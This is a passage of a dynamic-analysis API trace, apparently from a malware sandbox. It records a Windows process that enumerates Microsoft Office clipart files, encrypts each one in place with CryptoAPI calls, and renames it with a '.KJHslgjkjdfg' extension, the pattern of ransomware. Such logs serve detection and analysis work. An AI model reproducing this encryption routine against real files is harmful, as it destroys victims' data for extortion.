phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.455] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.455] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ada, lpOverlapped=0x0) returned 1 [0185.456] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ae0) returned 1 [0185.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.456] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ae0, lpOverlapped=0x0) returned 1 [0185.456] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.457] SetEndOfFile (hFile=0x114) returned 1 [0185.459] GetProcessHeap () returned 0x2a0000 [0185.459] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.459] GetProcessHeap () returned 0x2a0000 [0185.459] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.kjhslgjkjdfg")) returned 1 [0185.461] CloseHandle (hObject=0x114) returned 1 [0185.461] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0185.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.462] GetProcessHeap () returned 0x2a0000 [0185.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.462] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.462] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.467] GetProcessHeap () returned 0x2a0000 [0185.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.467] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.468] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.468] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.468] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2028, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2028, lpOverlapped=0x0) returned 1 [0185.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030, dwBufLen=0x2030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030) returned 1 [0185.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.469] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2030, lpOverlapped=0x0) returned 1 [0185.469] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.469] SetEndOfFile (hFile=0x114) returned 1 [0185.471] GetProcessHeap () returned 0x2a0000 [0185.472] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.472] GetProcessHeap () returned 0x2a0000 [0185.472] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.kjhslgjkjdfg")) returned 1 [0185.473] CloseHandle (hObject=0x114) returned 1 [0185.473] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0185.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.475] GetProcessHeap () returned 0x2a0000 [0185.475] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.475] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.475] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0185.478] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.478] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.478] GetProcessHeap () returned 0x2a0000 [0185.478] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.478] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.478] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.478] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.479] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.479] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.479] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.479] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x28ae, lpOverlapped=0x0) returned 1 [0185.502] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x28b0) returned 1 [0185.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.502] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x28b0, lpOverlapped=0x0) returned 1 [0185.502] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.502] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.502] SetEndOfFile (hFile=0x114) returned 1 [0185.505] GetProcessHeap () returned 0x2a0000 [0185.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.505] GetProcessHeap () returned 0x2a0000 [0185.505] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.kjhslgjkjdfg")) returned 1 [0185.507] CloseHandle (hObject=0x114) returned 1 [0185.507] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0185.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.537] GetProcessHeap () returned 0x2a0000 [0185.537] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.537] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.537] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.537] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.539] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.539] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.539] GetProcessHeap () returned 0x2a0000 [0185.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.540] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.540] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.540] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.540] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.540] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.540] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.540] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.540] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.540] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x349c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x349c, lpOverlapped=0x0) returned 1 [0185.541] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x34a0, dwBufLen=0x34a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x34a0) returned 1 [0185.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.541] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x34a0, lpOverlapped=0x0) returned 1 [0185.542] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.542] SetEndOfFile (hFile=0x114) returned 1 [0185.544] GetProcessHeap () returned 0x2a0000 [0185.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.544] GetProcessHeap () returned 0x2a0000 [0185.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.kjhslgjkjdfg")) returned 1 [0185.546] CloseHandle (hObject=0x114) returned 1 [0185.546] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0185.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.547] GetProcessHeap () returned 0x2a0000 [0185.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.547] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.547] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.547] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.547] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.547] GetProcessHeap () returned 0x2a0000 [0185.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.547] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.547] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.547] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.549] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.549] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.550] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.550] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xce0, lpOverlapped=0x0) returned 1 [0185.550] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0, dwBufLen=0xce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0) returned 1 [0185.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.550] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xce0, lpOverlapped=0x0) returned 1 [0185.550] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.550] SetEndOfFile (hFile=0x114) returned 1 [0185.552] GetProcessHeap () returned 0x2a0000 [0185.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.552] GetProcessHeap () returned 